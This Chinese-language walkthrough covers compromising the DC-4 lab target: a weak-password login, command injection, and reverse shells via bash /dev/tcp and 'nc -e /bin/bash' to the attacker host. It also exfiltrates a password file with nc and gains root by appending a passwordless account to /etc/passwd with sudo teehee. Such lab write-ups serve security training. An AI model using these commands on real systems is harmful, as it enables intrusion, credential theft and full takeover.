一.环境简介
靶机:192.168.56.106
攻击机:Windows10、kali(192.168.56.101)
二、渗透测试复现
1.信息收集
我这里提前已经知道我的靶机IP地址为192.168.56.1/24,因为kali与靶机同网段,也可以直接使用arp-scan -l来寻早靶机IP,我这里直接使用nmap来查找。
nmap 192.168.56.1/24 -sV -A
可以看到开放了22 与 80端口,首先看一下80端口上的web服务。
可以看到中间件为nginx1.15.10 ,编程语言为PHP,看看这个版本的nginx有无漏洞。没有漏洞
对于这种登录框,常见的渗透方法有
1、弱口令爆破
2、万能密码\SQL注入
3、后台未授权访问
4、组件未授权
5、其他功能点 (注册)(找回密码)
6、验证码问题
7、越权
......等等
2.弱口令爆破
这个我们来尝试弱口令爆破,有的人喜欢用户名和密码一起爆破,遇到这种管理后台,我比较喜欢将用户名设为admin,只去爆破密码(个人习惯)。
用户名密码为admin happy。
3.后台命令执行
在http://192.168.56.106/command.php 处,进行抓包。
发现命令执行漏洞,我们直接来反弹shell,这里使用bash+-c+'exec+bash+-i+&>/dev/tcp/192.168.56.101/9999 <&1
是不行的,我们使用nc+-e+/bin/bash+192.168.56.101+9999
。
使用python -c 'import pty; pty.spawn("/bin/bash")'
升级为交互式shell。
来看一下有啥有用的信息,查看下passwd看看有什么用户适合提权,这里可以看到charles、jim、sam有/bin/bash,那么就从这3个用户开始入手
在/home/jim/backups目录下发现老密码,可以用来爆破。
将密码复制下来 ,进行爆破。
# Kali
nc -nvlp 5555 > 1.txt
# DC4
nc 192.168.56.101 5555 < /home/jim/backups/old-passwords.bak
将密码存为密码本,我这里使用超级弱口令工具进行爆破。
直接ssh登录jim账号,看一下权限,仍然不是root。他会提示有新邮件,但是我上次已经打开了,所以这里不会再提示,他会告诉你charls账号密码。
charles
^xHhA&hvim0y
看一下权限,仍然不是root,无法打开root。
4.提权
4.1
这里不再讲其他的提权手段,直接看下charles的sudo。
可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件
我们可以借助teehee往passwd写入一个root账号即可得到root 权限。
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
成功拿到root权限